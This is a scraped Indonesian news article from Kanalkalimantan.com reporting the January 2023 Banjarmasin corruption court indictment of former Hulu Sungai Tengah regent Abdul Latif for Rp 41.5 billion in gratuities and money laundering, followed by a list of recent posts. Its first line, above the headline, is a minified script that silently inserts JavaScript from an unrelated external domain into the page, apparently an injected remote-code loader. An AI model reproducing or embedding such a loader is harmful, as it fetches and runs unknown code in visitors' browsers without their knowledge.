(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Disidang Perkara Berbeda, Eks Bupati HST Abdul Latif Didakwa Terima Suap Rp 41,5 M dan Pencucian Uang


KANALKALIMANTAN.COM, BANJARMASIN – Mantan Bupati Hulu Sungai Tengah (HST) Abdul Latif harus kembali duduk di kursi persidangan Tipikor Banjarmasin atas perkara yang didakwakan kepadanya, yakni menerima gratifikasi dan Tindak Pidana Pencucian Uang (TPPU).

Bupati HST periode 2016-2019 tersebut disangkakan melanggar Pasal 12B Undang-Undang Nomor 20 Tahun 2001 tentang Tindak Pidana Korupsi.

Sedangkan dakwaan kedua disangkakan melanggar Pasal 3 Undang-Undang Nomor 8 Tahun 2010 tentang Pencegahan dan Pemberantasan Tindak Pidana Pencucian Uang.

Dakwaan dibacakan Jaksa Penuntut Umum (JPU) KPK pada Rabu (18/1/2023) dihadapan Majelis Hakim yang diketuai Jamser Simanjuntak dan dua anggota di Pengadilan Tindak Pidana Korupsi Banjarmasin.

 

Baca juga : Terima LHP dari Badan Pemeriksa Keuangan Kalsel, Ini Kata Bupati Banjar

Terpidana Abdul Latif didakwa menerima suap atau gratifikasi sebanyak Rp 41,5 miliar saat masih menjabat sebagai Bupati HST.

“Terdakwa menerima gratifikasi berupa uang yang yang keseluruhannya berjumlah Rp 41.553.554.006,” demikian isi dakwaan Jaksa Penuntut Umum KPK.

Gratifikasi tersebut menurut JPU berasal dari sejumlah rekan Abdul Latif di Satuan Kerja Perangkat Daerah (SKPD) dari sejumlah proyek di Kabupaten Hulu Sungai Tengah waktu itu.

“Gratifikasi didapat dari beberapa rekanan di sejumlah SKPD semasa jabatan dia selama 2016-2017,” ungkap JPU KPK, Ikhsan Ferdinand.

Baca juga : Kunjungi Posyandu Kamboja Desa DMU, Ketua TP PKK Sungai Loban Pantau Tumbuh Kembang Anak

Untuk dakwaan Tindak Pidana Pencucian Uang (TPPU), JPU menyebut terdakwa membelanjakan hasil gratifikasinya untuk pembelian sejumlah aset, berupa tanah, mobil, motor, serta juga dengan obligasi dan penyetoran uang.

JPU mengatakan, aset atau harta kekayaannya tersebut merupakan hasil dari tindak pidana korupsi yaitu penerimaan gratifikasi berupa uang berkaitan dengan jabatannya sebagai Bupati HST saat itu.

“Untuk dakwaan TPPU tadi aset-asetnya dibacakan seperti penyetoran uang, obligasi, rumah, mobil, motor, macam-macam,” kata JPU, Ikhsan Ferdinand usai persidangan.

Di dalam dakwaan aset-aset tersebut juga dikatakan, terdakwa menyamarkan kekayaanya dengan menempatkan uang dan pembelian tanah, kendaraan bermotor diatasnamakan orang lain.

Terdakwa Abdul Latif didampingi penasehat hukumnya mengikuti persidangan secara daring dari Lapas Kelas I Sukamiskin, Bandung, Jawa Barat.

Baca juga : Dinsos Tanbu Dampingi Pemulangan Lansia Martun

Diketahui terpidana Abdul Latif saat ini sedang menjalani masa sisa tahanan dalam objek perkara yang berbeda yaitu kasus suap pembangunan Rumah Sakit Umum Daerah H Damanhuri Barabai.

Pada 2018 lalu terdakwa Abdul Latif sudah divonis 6 tahun penjara dan denda Rp 300 juta subsider tiga bulan penjara di Pengadilan Tipikor Jakarta.

Ia kemudian melakukan banding ke Pengadilan Tinggi (PT) Jakarta, namun hakim PT bukannya mengurangi hukuman Abdul Latif, tapi malah menambah satu tahun menjadi 7 tahun penjara serta denda Rp 300 juta subsider tiga bulan.

Pada persidangan dengan perkara gratifikasi dan TPPU Rabu (18/1/2023), Abdul Latif dan penasehat hukum langsung mengajukan eksepsi usai JPU membacakan dakwaan.

Persidangan akan kembali digelar pada Rabu (25/1/2023) dengan agenda mendengarkan tanggapan JPU atas eksepsi terdakwa dan penasehat hukum. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : cell


Desy Arfianty

Recent Posts

Wagub Edy Pratowo Maju Pilkada Kalteng, Siap Dipasang Posisi Apapun

KANALKALIMANTAN.COM, PALANGKARAYA - Wakil Gubernur (Wagub) Kalimantan Tengah (Kalteng), Edy Pratowo, mengumumkan keputusannya untuk mendaftarkan… Read More

23 menit ago

Target Juara Umum Popda Kalsel 2024, Aditya Janji Beri Bonus Pribadi

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin melepas 109 atlet untuk berlaga dalam… Read More

55 menit ago

Ancaman Banjir Rob di Pesisir Kalsel saat Fase Bulan Baru

KANALKALIMANTAN.COM, BANJARMASIN - Stasiun Meteorologi (Statmet) Syamsudin Noor Banjarmasin mengeluarkan imbauan mengenai potensi banjir pesisir… Read More

1 jam ago

PKS Banjarbaru Buka Penjaringan, Siap Koalisi Tawarkan Kader Sendiri

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pimpinan Darah Partai Keadilan Sejahtera (PKS) Kota Banjarbaru membuka pendaftaran bakal… Read More

3 jam ago

Hidup Makin Tenang, Hadapi Risiko dengan Asuransi Pelita dari BRI Life

KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More

17 jam ago

10 Mei Hari Lupus Sedunia, Yuk Kenali Penyakit Lupus

KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More

17 jam ago

This website uses cookies.